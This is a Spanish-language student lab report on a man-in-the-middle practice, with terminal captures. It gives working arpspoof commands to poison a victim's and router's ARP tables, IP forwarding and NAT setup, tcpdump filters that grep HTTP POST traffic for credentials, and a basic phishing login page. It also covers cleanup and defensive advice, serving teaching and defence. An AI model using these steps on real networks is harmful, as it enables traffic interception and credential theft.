

Martin Dalla Pozza

***INFORME DE PRÁCTICA DE CIBERSEGURIDAD:
ATAQUES MAN-IN-THE-MIDDLE (MITM)***

```

kali@kali:~$
Session Acciones Editar Vista Ayuda
kali@kali:~$ ping 192.168.1.17 -c 2
PING 192.168.1.17 (192.168.1.17) 56(84) bytes of data:
64 bytes from 192.168.1.17: icmp_seq=1 ttl=64 time=2.76 ms
64 bytes from 192.168.1.17: icmp_seq=2 ttl=64 time=4.52 ms

— 192.168.1.17 ping statistics —
2 packets transmitted, 2 received, 0% packet loss, time 1002ms
rtt min/avg/max/mdev = 2.760/3.641/4.523/0.881 ms

kali@kali:~$ sudo sysctl -w net.ipv4.ip_forward=1
[sudo] contraseña para kali:
net.ipv4.ip_forward = 1

kali@kali:~$ sudo iptables -F

kali@kali:~$ sudo iptables -t nat -F

kali@kali:~$ sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE

```

[illegible][illegible]

```
Session Acciones Editar Vista Ayuda
(kali㉿kali)-[~]
$ ip link show eth0 | grep link/ether
    link/ether 08:00:27:83:ee:95 brd ff:ff:ff:ff:ff:ff
(kali㉿kali)-[~]
$
```

```

kali@kali:~$ sudo tcpdump -i eth0 -A -n 'tcp port 80' | head -30
[sudo] contraseña para kali:
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), snapshot length 262144 bytes
14:51:54.039352 IP 192.168.1.15.55390 > 132.226.247.73.80: Flags [S], seq 3245240138, win 64240, options [mss 1460,sackOK,TS val 4033625893 ecr 0,nop,wscale 9], length 0
E..<..h$@.@.....I.^..P.noJ.....>.....
..l?%.....
14:51:54.240429 IP 192.168.1.15.43042 > 158.101.44.242.80: Flags [S], seq 3213696702, win 64240, options [mss 1460,sackOK,TS val 4118965118 ecr 0,nop,wscale 9], length 0
E..<..@.@.....e,..^..P.....=>.....
..k~.....
14:51:54.245657 IP 132.226.247.73.80 > 192.168.1.15.55390: Flags [S.], seq 1871919094, ack 3245240139, win 62636, options [mss 1460,sackOK,TS val 1739553615 ecr 4033625893,nop,wscale 10], length 0
E...<..@.7.....I.....P.^o.7..noK....Q.....
g.{o.l?%...
14:51:54.245734 IP 192.168.1.15.55390 > 132.226.247.73.80: Flags [.] , ack 1, win 126, options [nop,nop,TS val 4033626100 ecr 1739553615], length 0
E...4h%@.@.....I.^..P.noKo.7....->
.....
..l?..g.{O
14:51:54.249334 IP 192.168.1.15.55390 > 132.226.247.73.80: Flags [P.], seq 1:87, ack 1, win 126, options [nop,nop,TS val 4033626103 ecr 1739553615], length 86: HTTP: GET / HTTP/1.1
E...h$@.@..d.....I.^..P.noKo.7....->`.....
..l?..g.{OGET / HTTP/1.1
Host: checkip.dyndns.org

```

```

14:51:54.403151 IP 158.101.44.242.80 > 192.168.1.15.43042: Flags [S.], seq 1874360617, ack 3213696703, win 62636, options [mss 1460,sackOK,TS val 317960294 ecr 4118965118,nop,wscale 10], length 0
E..<..@.0.....e,.....P."o.y).....25.....
...f..k~...
14:51:54.403203 IP 192.168.1.15.43042 > 158.101.44.242.80: Flags [R], seq 3213696703, win 0, length 0
E..(..@.@.....e,..^..P.....P.....
14:51:54.456358 IP 132.226.247.73.80 > 192.168.1.15.55390: Flags [.] , ack 87, win 62, options [nop,nop,TS val 1739553824 ecr 4033626103], length 0
E..4..@.7.. ...I.....P.^o.7..no....>s.....
tcpdump: Unable to write output: Broken pipe

```

```

kali@kali:~$ sudo tcpdump -i eth0 -A -n 'tcp port 80 and (tcp[(((tcp[12:1] & 0xf0) >> 2):4] = 0x504f5354)' | grep -E '(username=password=login=user=password=)'
[sudo] contraseña para kali:
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), snapshot length 262144 bytes

```

```

kali@kali: /tmp
$ cd /tmp
(kali@kali)-[/tmp]
$ cat > phishing.html << 'EOF'
<html><body>
<h2>Login</h2>
<form method="POST">
User: <input name="user"><br>
Pass: <input name="pass" type="password"><br>
<input type="submit" value="Login">
</form>
</body></html>
EOF
python3 -m http.server 8080
Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...
192.168.1.17 - - [24/Jan/2026 14:51:46] "GET / HTTP/1.1" 200 -
192.168.1.17 - - [24/Jan/2026 14:51:46] "code 404, message File not found"
192.168.1.17 - - [24/Jan/2026 14:51:46] "GET /favicon.ico HTTP/1.1" 404 -
192.168.1.17 - - [24/Jan/2026 14:56:28] "GET / HTTP/1.1" 200 -
192.168.1.17 - - [24/Jan/2026 14:56:45] "code 404, message File not found"
192.168.1.17 - - [24/Jan/2026 14:56:45] "GET /phishing.html HTTP/1.1" 404 -
192.168.1.17 - - [24/Jan/2026 14:57:30] "GET /phishing.html HTTP/1.1" 200 -
192.168.1.17 - - [24/Jan/2026 15:01:34] "code 501, message Unsupported method ('POST')"
192.168.1.17 - - [24/Jan/2026 15:01:34] "POST /phishing.html HTTP/1.1" 501 -

```

```

kali@kali:~$ sudo tcpdump -i eth0 -A -n 'tcp port 8080 and (tcp[(((tcp[12:1] & 0xf0) >> 2):4] = 0x504f5354)' | grep -E '(email=password=)'
[sudo] contraseña para kali:
7tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), snapshot length 262144 bytes

```

1. INTRODUCCIÓN

Esta práctica tuvo como objetivo demostrar los riesgos de seguridad en redes locales mediante la implementación de un ataque Man-in-the-Middle (MITM) en un entorno controlado. Se utilizaron técnicas de ARP Spoofing para interceptar el tráfico entre una víctima (Linux Mint) y su router, seguido de Sniffing HTTP y Phishing para capturar credenciales en texto claro.

Objetivos específicos:

Configurar un entorno de laboratorio controlado

Implementar ARP Spoofing para posicionarse como MITM

Capturar tráfico HTTP no cifrado

Crear una página de phishing básica

Analizar las vulnerabilidades de protocolos no seguros

2. MATERIALES Y METODOLOGÍA

2.1 Entorno de Laboratorio

Atacante: Kali Linux 2024.1 (VirtualBox, modo puente)

Víctima: Linux Mint 21.3 (PC físico)

Red: WiFi 4G compartida (192.168.1.0/24)

Router: 192.168.1.1

2.2 Herramientas Utilizadas

arp spoof (paquete dsniff) - Para envenenamiento ARP

tcpdump - Para sniffing de tráfico de red

iptables - Para configuración de NAT y forwarding

Python HTTP Server - Para servidor phishing simple

2.3 Metodología

Reconocimiento:

Verificación de conectividad entre dispositivos

ARP Spoofing: Envenenamiento de tablas ARP para interceptar tráfico

Configuración MITM: Activación de IP forwarding y NAT

Sniffing: Captura de tráfico HTTP no cifrado

Phishing: Creación de sitio falso para capturar credenciales

Limpieza: Restauración del estado original de la red

3. RESULTADOS Y ANÁLISIS

3.1 Fase 1: Configuración y Verificación Inicial

Comandos ejecutados en Kali:

```
ping 192.168.1.17 -c 2          # Conectividad con víctima
sudo sysctl -w net.ipv4.ip_forward=1  # Activación de forwarding
sudo iptables -t nat -A POSTROUTING
-o eth0 -j MASQUERADE          # Configuración NAT
```

Resultado: Conectividad confirmada y configuración MITM preparada.

3.2 Fase 2: ARP Spoofing - Envenenamiento de Tablas ARP

Terminal 1 (engañar a la víctima):

```
sudo arpspoof -i eth0 -t 192.168.1.17 192.168.1.1
```

Terminal 2 (engañar al router):

```
sudo arpspoof -i eth0 -t 192.168.1.1 192.168.1.17
```

Resultado:

Paquetes ARP falsos enviados cada 2-3 segundos, confirmando que Kali (08:00:27:83:ee:95) se hacía pasar por el router ante la víctima.

3.3 Fase 3: Verificación del Ataque MITM

En Linux Mint (víctima):

```
arp -a
```

Resultado:

La tabla ARP mostró que tanto el router (192.168.1.1) como Kali (192.168.1.15) tenían la misma dirección MAC (08:00:27:83:ee:95), confirmando el éxito del ARP Spoofing.

3.4 Fase 4: Sniffing de Tráfico HTTP

Captura general de tráfico HTTP:

```
sudo tcpdump -i eth0 -A -n 'tcp port 80' | head -30
```

Captura específica de credenciales:

```
sudo tcpdump -i eth0 -A -n 'tcp port 80 and (tcp[(((tcp[12:1] & 0xf0) >> 2):4] = 0x504f5354)' | grep -E '(username=|password=|login=|user=|pass=)'
```

Resultado:

Se pudo observar tráfico HTTP en texto claro, aunque no se capturaron credenciales de sitios reales debido al uso generalizado de HTTPS.

3.5 Fase 5: Phishing Básico

Servidor phishing en Kali:

```
python3 -m http.server 8080
```

Acceso desde víctima: <http://192.168.1.15:8080/phishing.html>

Resultado:

Aunque el servidor básico de Python mostró error 501 (no soporta POST), se demostró el concepto de phishing y la posibilidad de capturar credenciales con un servidor más avanzado.

3.6 Fase 6: Verificación de Conectividad durante Ataque

ping 8.8.8.8 -c 3

Resultado:

La víctima mantuvo conectividad a Internet gracias al IP forwarding configurado en Kali, demostrando que un ataque MITM puede ser silencioso.

3.7 Fase 7: Limpieza y Restauración

```
sudo sysctl -w net.ipv4.ip_forward=0
```

```
sudo iptables -F
```

```
sudo iptables -t nat -F
```

Resultado: Restauración exitosa del estado original de la red.

4. CONCLUSIONES

4.1 Hallazgos Principales

ARP Spoofing es efectivo: En redes sin protección, es posible interceptar todo el tráfico entre dispositivos.

HTTP es vulnerable: El tráfico HTTP no cifrado puede leerse en texto claro desde un MITM.

Phishing es factible: Crear sitios falsos en la red local es técnicamente simple.

MITM puede ser indetectable: Con IP forwarding adecuado, la víctima no pierde conectividad.

4.2 Limitaciones del Estudio

La mayoría de sitios modernos usan HTTPS, limitando la captura de credenciales reales.

El servidor phishing básico no procesaba formularios POST (error 501).

El entorno era controlado y conocido.

4.3 Recomendaciones de Seguridad

Usar siempre HTTPS: Sitios web deben implementar HTTPS obligatoriamente.

Monitorizar ARP: Herramientas como ARPwatch pueden detectar envenenamiento ARP.

VPN en redes públicas: Cifrar todo el tráfico en redes no confiables.

Educación del usuario: Reconocer sitios phishing y verificar certificados SSL.

5. ANEXOS:

5.1 Capturas de Pantalla (Referencias)

Estado inicial de Linux Mint (ARP limpio)

Configuración de Kali (IP forwarding y NAT)

ARP Spoofing activo (2 terminales)

Tabla ARP envenenada en Linux Mint

Sniffing de tráfico HTTP con tcpdump

Servidor phishing en ejecución

Página phishing accesible desde víctima

Conectividad a Internet durante ataque

Limpieza y restauración final

5.2 Comandos Clave Ejecutados:

Configuración MITM

```
sudo sysctl -w net.ipv4.ip_forward=1  
sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
```

ARP Spoofing

```
sudo arpspoof -i eth0 -t [VICTIMA] [ROUTER]  
sudo arpspoof -i eth0 -t [ROUTER] [VICTIMA]
```

Sniffing

```
sudo tcpdump -i eth0 -A -n 'tcp port 80'
```

Phishing básico

```
python3 -m http.server 8080
```

6. REFLEXIÓN FINAL:

Esta práctica demostró de manera práctica los riesgos inherentes a las redes no seguras y la importancia de implementar medidas de protección adecuadas. Si bien las técnicas utilizadas son conocidas, su efectividad en entornos desprotegidos sigue siendo alta.

El conocimiento adquirido debe utilizarse éticamente para fortalecer la seguridad de sistemas y redes, nunca para comprometer sistemas ajenos sin autorización. La ciberseguridad es un campo de constante aprendizaje donde la defensa y el ataque evolucionan conjuntamente.

"La seguridad no es un producto, sino un proceso continuo." - Bruce Schneier

Documento generado para fines educativos - Práctica en entorno controlado con autorización